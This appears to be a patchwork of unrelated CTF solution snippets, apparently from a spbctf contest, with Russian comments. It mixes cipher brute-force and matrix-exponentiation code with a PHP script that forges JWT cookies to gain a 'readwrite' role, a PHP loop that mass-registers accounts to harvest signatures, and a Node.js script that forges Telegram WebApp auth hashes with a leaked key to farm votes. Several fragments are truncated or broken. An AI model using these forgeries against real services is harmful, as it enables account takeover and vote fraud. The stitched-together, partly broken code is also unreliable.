data = "H_S_|_e_gI..."
print("\n".join(data[i::32] for i in range(32)))

int main(int argc, char* argv[]) {
  // Содержимое patient-chart.bin
  std::string ciphertext = {5, 110, -102, 115, ...};

  for (int i = 0; i < 100000; i++) {
    std::string plaintext = EncryptBirthmaRC4(ciphertext);
    // Проверяем удалось ли расшифровать
    if (plaintext[0] == -48 && plaintext[1] == -111 &&
        plaintext[2] == 60 && plaintext[3] == -32) {
      printf("Message decoded on #%d! See plaintext\n", i);
    }
  }
}

python DiffusionCipher.py ctf2023.yaml.protected ctf2023.yaml key.json

n0, n1, m0, m1 = 0, 1, 0, 1
# n = 92153904885269267505545
while diffusionCycles <= n:
  n0, n1 = n1, a * n1 - b * n0
  m0, m1 = m1, x * m1 - y * m0
  diffusionCycles += 1
result = (m1 * n1) % N

| n0 |   |  0  1  0  0 |   | n0 |
| n1 | = | -b  a  0  0 | * | n1 |
| m0 |   |  0  0  0  1 |   | m0 |
| m1 |   |  0  0 -y  x |   | m1 |

state = [0, 1, 0, 1]
for _ in range(n):
  state = (A * state) % N

a, b = 1, 2
for _ in range(n):
  a = b * a

  private[jwt] def signHmac(algorithm: Algorithm, msg: String, key: String): String = {
    val mac: Mac = Mac.getInstance(algorithm.toString)
    mac.init(new SecretKeySpec(key.getBytes("utf-8"), algorithm.toString))
    encodeBase64url(new String(mac.doFinal(msg.getBytes("utf-8")).slice(5, 256)))
  }
  ...
  private[jwt] def encodeBase64url(str: String): String =
    Base64.encodeBase64URLSafeString(str.getBytes("utf-8"))

<?php

function base64url_encode($data) {
  return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}

function base64url_decode($data, $strict = false) {
  return base64_decode(strtr($data, '-_', '+/'), $strict);
}

$username = 'tst362353022';
$sig = str_repeat(chr(0xEF) . chr(0xBF) . chr(0xBD), 11);
$hdr = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJITUQ1In0';

$ch = curl_init();

for ($i = 0; $i < 40000; ++$i) {
    $payload = json_encode([
        'login' => $username,
        'role' => 'readwrite',
        'lalala' => random_int(10000000, 999999999999),
    ]);
    curl_setopt_array($ch, [
        CURLOPT_URL => 'https://t-robear-9veyslvj.spbctf.net/api/setup',
        CURLOPT_COOKIE => 'jwt=' . $hdr . '.' . base64url_encode($payload) . '.' . base64url_encode($sig),
        CURLOPT_POSTFIELDS => json_encode(['mode' => 'Firefighter']),
        CURLOPT_HTTPHEADER => ['Content-Type: application/json'],
        CURLOPT_RETURNTRANSFER => 1,
    ]);

    $data = curl_exec($ch);
    if (strlen($data) > 0) {
        echo $data;
        break;
    }
}

__halt_compiler();
$ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => 'https://t-robear-9veyslvj.spbctf.net/api/register',
        CURLOPT_POSTFIELDS => json_encode([
            'login' => $username,
            'password' => $password,
        ]),
        CURLOPT_HTTPHEADER => [
            'Content-Type: application/json',
        ],
        CURLOPT_CUSTOMREQUEST => 'POST',
        CURLOPT_RETURNTRANSFER => 1,
        CURLOPT_REFERER => 'https://t-robear-9veyslvj.spbctf.net/register.html',
        CURLOPT_HEADER => 0,
        // CURLOPT_VERBOSE => 1,
    ]);

__halt_compiler();

for ($j = 0; $j < 100; ++$j) {

    $username = 'tst' . mt_rand(100000000, 999999999);
    $password = 'testpassword';

    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => 'https://t-robear-9veyslvj.spbctf.net/api/register',
        CURLOPT_POSTFIELDS => json_encode([
            'login' => $username,
            'password' => $password,
        ]),
        CURLOPT_HTTPHEADER => [
            'Content-Type: application/json',
        ],
        CURLOPT_CUSTOMREQUEST => 'POST',
        CURLOPT_RETURNTRANSFER => 1,
        CURLOPT_REFERER => 'https://t-robear-9veyslvj.spbctf.net/register.html',
        CURLOPT_HEADER => 0,
        // CURLOPT_VERBOSE => 1,
    ]);

    $data = json_decode(curl_exec($ch), true);
    if (!$data['success']) {
        echo 'fail';
        return;
    }


    curl_setopt_array($ch, [
        CURLOPT_URL => 'https://t-robear-9veyslvj.spbctf.net/api/login',
        CURLOPT_CUSTOMREQUEST => 'POST',
        CURLOPT_HEADER => 1,
    ]);

    $data = curl_exec($ch);

    preg_match('~set-cookie:\s*jwt=(\S+)~i', $data, $m);
    $jwt = $m[1];
    [$hdr, $payload, $sig] = explode('.', $jwt);

    $dec = base64url_decode($sig);

    $out = '';
    for ($i = 0, $len = strlen($dec); $i < $len; $i++) {
        if (ord($dec[$i]) <= 127) {
            $out .= $dec[$i];
        }
    }

    echo bin2hex($out), ":$username:$password\n";
}

const axios = require('axios');
const CryptoJS = require('crypto-js');

const secretKey = CryptoJS.enc.Hex.parse("0b4162a45f8c74b4005a25d4c20b0158198c83b38462bd02e42cd18f9842dc83"); // ключ нашли в коде
const contestant_id = 100; // id участника голосования
// данные авторизации можно получить, введя в консоли скрипт
// Array
//     .from(new URLSearchParams(Telegram.WebApp.initData).entries())
//     .reduce((res, [key, value]) => {
//         if (key !== 'hash') {
//             res[key] = value;
//         }
//         return res;
//     }, {});
// далее нужно просто менять id и формировать hash (дефолтный hash сразу вырезали)
const getData = (id) => ({
    auth_date: "*ts*",
    query_id: "*queryId*",
    user: `{"id":${id},"first_name":"*name*","last_name":"*surname*","username":"*login*","language_code":"ru","allows_write_to_pm":true}`,
});

// цепочка авторизация - голос с репитами на случай ошибки
const request = (data, repeat = 1) => {
    return axios
        .post(
            'https://t-pageant-ekbooq0e.spbctf.net/api/auth',
            { initData: new URLSearchParams(data).toString() }
        )
        .then((res) => {
            return axios
                .post(
                    'https://t-pageant-ekbooq0e.spbctf.net/api/vote',
                    { contestant_id },
                    {
                        headers: {
                            'Cookie': res.headers['set-cookie'],
                        },
                    }
                )
                .then(({ data }) => console.log(data)); // выводим промежуточный результат в консоль
        })
        .catch((err) => {
            if (repeat < 5) {
                return request(data, repeat++);
            }

            throw err;
        });
};

// фарм голосов: индекс цикла = id пользователя, указываем любой интервал
const handle = () => {
    for (let i = 0; i < 1000; i++) {
        const data = getData(i);    
        const dataCheckString = Object
            .keys(data)
            .sort()
            .map((key) => `${key}=${data[key]}`)
            .join('\n');
        const calculatedHash = CryptoJS
            .HmacSHA256(dataCheckString, secretKey)
            .toString(CryptoJS.enc.Hex);
        data.hash = calculatedHash;

        request(data);
    }
};

handle();